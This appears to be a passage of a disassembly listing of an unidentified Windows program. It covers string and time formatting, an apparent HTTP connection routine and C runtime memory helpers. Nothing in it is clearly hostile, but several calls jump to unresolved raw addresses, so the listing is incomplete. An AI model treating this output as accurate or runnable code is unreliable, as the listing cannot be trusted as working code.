mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AB0C
loc_41AB05: ; CODE XREF: sub_41AA42+7Cj
; sub_41AA42+8Ej
mov [ebp+var_4], offset dword_431260
loc_41AB0C: ; CODE XREF: sub_41AA42+73j
; sub_41AA42+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AB44
loc_41AB15: ; CODE XREF: sub_41AA42+61j
cmp [ebp+var_B8], bl
jz short loc_41AB44
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_41B886
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41AB44: ; CODE XREF: sub_41AA42+54j
; sub_41AA42+D1j ...
mov ax, word_437834
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CAE54
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41AB7D
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
call dword_4CAFB4
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CAF2C
cmp eax, ebx
jz short loc_41ABA6
push dword ptr [eax]
jmp short loc_41ABAB
; ---------------------------------------------------------------------------
loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41ABAB: ; CODE XREF: sub_41AA42+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 26509B6h
nop
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43A10C
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2710000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 270154Eh
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2810000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41B9D1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41A88B
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
call sub_41A98C
push edx
push eax
push offset dword_43A030
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AA42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp
; sub_401ACD+72F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp dword_4CB05C, 0
jnz short loc_41AD62
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CAE38
test eax, eax
jnz short loc_41AD4B
lea eax, [ebp+var_8C]
push offset dword_43A194
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AD4B: ; CODE XREF: sub_41ACF6+40j
test [ebp+var_C], 1
jz short loc_41AD58
push offset dword_43A18C
jmp short loc_41AD5D
; ---------------------------------------------------------------------------
loc_41AD58: ; CODE XREF: sub_41ACF6+59j
push offset off_43A188
loc_41AD5D: ; CODE XREF: sub_41ACF6+60j
lea eax, [ebp+var_8]
jmp short loc_41AD7A
; ---------------------------------------------------------------------------
loc_41AD62: ; CODE XREF: sub_41ACF6+28j
mov esi, offset off_43A184
lea eax, [ebp+var_8]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43A140
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41ACF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A274
call sub_41B590
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41B590
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41B590
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41B590
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41B590
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CAE70
test eax, eax
jz loc_41AF4F
cmp [ebp+var_34], ebx
jbe short loc_41AE8C
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41AEAA
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj
cmp [ebp+var_20], ebx
jbe short loc_41AEC4
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j
cmp [ebp+var_18], ebx
jbe short loc_41AEDE
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEDE: ; CODE XREF: sub_41ADB5+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CAF24
call dword_4CAF48
mov esi, eax
cmp esi, ebx
jz short loc_41AF67
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CAF3C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41AF6E
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CAEE8
test eax, eax
jz short loc_41AF48
push offset dword_43A258
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj
push offset unk_43A21C
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j
lea eax, [ebp+var_55C]
push offset dword_43A200
push eax
call sub_41B886
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41AF81
; ---------------------------------------------------------------------------
loc_41AF67: ; CODE XREF: sub_41ADB5+153j
push offset unk_43A1D4
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj
push offset unk_43A1A4
loc_41AF73: ; CODE XREF: sub_41ADB5+191j
; sub_41ADB5+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41AFAC
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409A72
add esp, 14h
loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4151AC
pop ecx
push esi
call dword_4CAFA8
push [ebp+var_4]
call dword_4CAFA8
push [ebp+var_1D8]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26C0000h
pop edi
pop esi
pop ebx
int 3 ; Trap to Debugger
sub_41ADB5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B000
loc_41AFEC: ; CODE XREF: sub_41AFE0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B033
test ecx, 3
jnz short loc_41AFEC
add eax, 0
loc_41B000: ; CODE XREF: sub_41AFE0+Aj
; sub_41AFE0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B000
mov eax, [ecx-4]
test al, al
jz short loc_41B051
test ah, ah
jz short loc_41B047
test eax, 0FF0000h
jz short loc_41B03D
test eax, 0FF000000h
jz short loc_41B033
jmp short loc_41B000
; ---------------------------------------------------------------------------
loc_41B033: ; CODE XREF: sub_41AFE0+11j
; sub_41AFE0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B03D: ; CODE XREF: sub_41AFE0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B047: ; CODE XREF: sub_41AFE0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41AFE0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41AFE0 endp
; =============== S U B R O U T I N E =======================================
sub_41B05B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+58DAp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B070
or eax, 0FFFFFFFFh
jmp short loc_41B0AA
; ---------------------------------------------------------------------------
loc_41B070: ; CODE XREF: sub_41B05B+Ej
test al, 83h
jz short loc_41B0A8
push esi
call sub_41DB8B
push esi
mov edi, eax
call sub_41DB25
push dword ptr [esi+10h]
call sub_41DA72
add esp, 0Ch
test eax, eax
jge short loc_41B096
or edi, 0FFFFFFFFh
jmp short loc_41B0A8
; ---------------------------------------------------------------------------
loc_41B096: ; CODE XREF: sub_41B05B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B0A8
push eax
call sub_41B0B1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B0A8: ; CODE XREF: sub_41B05B+17j
; sub_41B05B+39j ...
mov eax, edi
loc_41B0AA: ; CODE XREF: sub_41B05B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B05B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40AB31+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B117
mov eax, dword_4DC908
cmp eax, 3
jnz short loc_41B0DD
push esi
call sub_41DE77
pop ecx
test eax, eax
push esi
jz short loc_41B109
push eax
call sub_41DEA2
pop ecx
pop ecx
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B0DD: ; CODE XREF: sub_41B0B1+14j
cmp eax, 2
jnz short loc_41B108
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_41B108
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EC29
add esp, 0Ch
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B108: ; CODE XREF: sub_41B0B1+2Fj
; sub_41B0B1+44j
push esi
loc_41B109: ; CODE XREF: sub_41B0B1+20j
push 0
push dword_4DC904
call near ptr 2770000h
nop
loc_41B117: ; CODE XREF: sub_41B0B1+Aj
; sub_41B0B1+2Aj ...
pop esi
leave
retn
sub_41B0B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B11A proc near ; CODE XREF: sub_4010AB+45p
; ___:0040F089p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B13E
xor eax, eax
jmp loc_41B1E7
; ---------------------------------------------------------------------------
loc_41B13E: ; CODE XREF: sub_41B11A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B151
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B151: ; CODE XREF: sub_41B11A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B15A: ; CODE XREF: sub_41B11A+C4j
mov ecx, [ebp+arg_0]
loc_41B15D: ; CODE XREF: sub_41B11A+35j
; sub_41B11A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B18F
mov eax, [esi+4]
test eax, eax
jz short loc_41B18F
cmp ecx, eax
mov edi, ecx
jb short loc_41B174
mov edi, eax
loc_41B174: ; CODE XREF: sub_41B11A+56j
push edi
push dword ptr [esi]
push ebx
call sub_41C310
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B18F: ; CODE XREF: sub_41B11A+49j
; sub_41B11A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B1C2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B1A5
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B1A5: ; CODE XREF: sub_41B11A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
test eax, eax
jz short loc_41B1EC
cmp eax, 0FFFFFFFFh
jz short loc_41B1F2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B1C2: ; CODE XREF: sub_41B11A+78j
push esi
call sub_41F043
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B1F6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B1DA: ; CODE XREF: sub_41B11A+73j
; sub_41B11A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B15A
mov eax, [ebp+arg_8]
loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj
; sub_41B11A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B1F6
; ---------------------------------------------------------------------------
loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B1F6: ; CODE XREF: sub_41B11A+B2j
; sub_41B11A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B1E7
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41CFD3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B21D
push [ebp+arg_4]
call sub_41B4D5
pop ecx
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B202+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B232
push [ebp+arg_0]
call sub_41B0B1
pop ecx
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B232: ; CODE XREF: sub_41B202+20j
mov eax, dword_4DC908
cmp eax, 3
jnz loc_41B342
loc_41B240: ; CODE XREF: sub_41B202+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B31E
push [ebp+arg_0]
call sub_41DE77
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B2F9
cmp esi, dword_4DC900
ja short loc_41B2B2
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E680
add esp, 0Ch
test eax, eax
jnz short loc_41B2AE
push esi
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B2B2
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B292
mov eax, esi
loc_41B292: ; CODE XREF: sub_41B202+8Cj
push eax
push ebx
push edi
call sub_41C310
push ebx
call sub_41DE77
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41DEA2
add esp, 18h
loc_41B2AE: ; CODE XREF: sub_41B202+74j
test edi, edi
jnz short loc_41B2F5
loc_41B2B2: ; CODE XREF: sub_41B202+62j
; sub_41B202+81j
test esi, esi
jnz short loc_41B2B9
push 1
pop esi
loc_41B2B9: ; CODE XREF: sub_41B202+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DC904
nop
call near ptr 2780000h
mov edi, eax
test edi, edi
jz short loc_41B2F5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B2E1
mov eax, esi
loc_41B2E1: ; CODE XREF: sub_41B202+DBj
push eax
push ecx
push edi
call sub_41C310
push [ebp+arg_0]
push ebx
call sub_41DEA2
add esp, 14h
loc_41B2F5: ; CODE XREF: sub_41B202+AEj
; sub_41B202+D0j
test ebx, ebx
jnz short loc_41B31A
loc_41B2F9: ; CODE XREF: sub_41B202+56j
test esi, esi
jnz short loc_41B300
push 1
pop esi
loc_41B300: ; CODE XREF: sub_41B202+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
call near ptr 2820000h
nop
mov edi, eax
loc_41B31A: ; CODE XREF: sub_41B202+F5j
test edi, edi
jnz short loc_41B33B
loc_41B31E: ; CODE XREF: sub_41B202+43j
cmp dword_4DB2FC, 0
jz short loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B240
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: sub_41B202+11Aj
; sub_41B202+123j ...
mov eax, edi
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B342: ; CODE XREF: sub_41B202+38j
cmp eax, 2
jnz loc_41B45D
cmp esi, 0FFFFFFE0h
ja short loc_41B35F
test esi, esi
jbe short loc_41B35C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B35F
; ---------------------------------------------------------------------------
loc_41B35C: ; CODE XREF: sub_41B202+150j
push 10h
pop esi
loc_41B35F: ; CODE XREF: sub_41B202+14Cj
; sub_41B202+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B43F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41EBD2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B423
cmp esi, dword_43C2F4
jnb short loc_41B3E7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EF9A
add esp, 10h
test eax, eax
jz short loc_41B3AD
mov edi, [ebp+arg_0]
jmp short loc_41B3DF
; ---------------------------------------------------------------------------
loc_41B3AD: ; CODE XREF: sub_41B202+1A4j
push edi
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B3E7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B3C6
mov eax, esi
loc_41B3C6: ; CODE XREF: sub_41B202+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
loc_41B3DF: ; CODE XREF: sub_41B202+1A9j
test edi, edi
jnz loc_41B33B
loc_41B3E7: ; CODE XREF: sub_41B202+18Bj
; sub_41B202+1B6j
push esi
push 0
push dword_4DC904
nop
call near ptr 2780000h
mov edi, eax
test edi, edi
jz short loc_41B43F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B408
mov eax, esi
loc_41B408: ; CODE XREF: sub_41B202+202j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
jmp short loc_41B437
; ---------------------------------------------------------------------------
loc_41B423: ; CODE XREF: sub_41B202+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
call near ptr 2820000h
nop
mov edi, eax
loc_41B437: ; CODE XREF: sub_41B202+21Fj
test edi, edi
jnz loc_41B33B
loc_41B43F: ; CODE XREF: sub_41B202+162j
; sub_41B202+1F8j
cmp dword_4DB2FC, 0
jz loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B35F
jmp short loc_41B49B
; ---------------------------------------------------------------------------
loc_41B45D: ; CODE XREF: sub_41B202+143j
; sub_41B202+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B487
test esi, esi
jnz short loc_41B46B
push 1
pop esi
loc_41B46B: ; CODE XREF: sub_41B202+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
nop
call near ptr 2820000h
test eax, eax
jnz short loc_41B49D
loc_41B487: ; CODE XREF: sub_41B202+260j
cmp dword_4DB2FC, 0
jz short loc_41B49D
push esi
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B45D
loc_41B49B: ; CODE XREF: sub_41B202+2Bj
; sub_41B202+134j ...
xor eax, eax
loc_41B49D: ; CODE XREF: sub_41B202+16j
; sub_41B202+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B202 endp
; =============== S U B R O U T I N E =======================================
sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F49D
test eax, eax
jnz short loc_41B4AC
retn
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B4A2+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F32D
add esp, 10h
retn
sub_41B4A2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+58AEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41B4A2
add esp, 0Ch
retn
sub_41B4C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40AB31+63p ...
arg_0 = dword ptr 4
push dword_4DB2FC
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41B4D5 endp
; =============== S U B R O U T I N E =======================================
sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap
; sub_41CFC5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41B510
loc_41B4EE: ; CODE XREF: sub_41B4E7+27j
push [esp+arg_0]
call sub_41B513
test eax, eax
pop ecx
jnz short locret_41B512
cmp [esp+arg_4], eax
jz short locret_41B512
push [esp+arg_0]
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B4EE
loc_41B510: ; CODE XREF: sub_41B4E7+5j
xor eax, eax
locret_41B512: ; CODE XREF: sub_41B4E7+13j
; sub_41B4E7+19j
retn
sub_41B4E7 endp
; =============== S U B R O U T I N E =======================================
sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DC908
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B537
cmp esi, dword_4DC900
ja short loc_41B569
push esi
call sub_41E1CB
test eax, eax
pop ecx
jz short loc_41B569
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B537: ; CODE XREF: sub_41B513+Dj
cmp eax, 2
jnz short loc_41B569
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B54C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B513+2Fj
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B513+37j
cmp esi, dword_43C2F4
ja short loc_41B576
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
test eax, eax
pop ecx
jnz short loc_41B585
jmp short loc_41B576
; ---------------------------------------------------------------------------
loc_41B569: ; CODE XREF: sub_41B513+15j
; sub_41B513+20j ...
test esi, esi
jnz short loc_41B570
push 1
pop esi
loc_41B570: ; CODE XREF: sub_41B513+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B576: ; CODE XREF: sub_41B513+42j
; sub_41B513+54j
push esi
push 0
push dword_4DC904
nop
call near ptr 2780000h
loc_41B585: ; CODE XREF: sub_41B513+52j
pop esi
retn
sub_41B513 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B5E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B5D7
neg ecx
and ecx, 3
jz short loc_41B5B9
sub edx, ecx
loc_41B5B3: ; CODE XREF: sub_41B590+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B5B3
loc_41B5B9: ; CODE XREF: sub_41B590+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B5D7
rep stosd
test edx, edx
jz short loc_41B5DD
loc_41B5D7: ; CODE XREF: sub_41B590+18j
; sub_41B590+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B5D7
loc_41B5DD: ; CODE XREF: sub_41B590+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B5E3: ; CODE XREF: sub_41B590+Aj
mov eax, [esp+arg_0]
retn
sub_41B590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
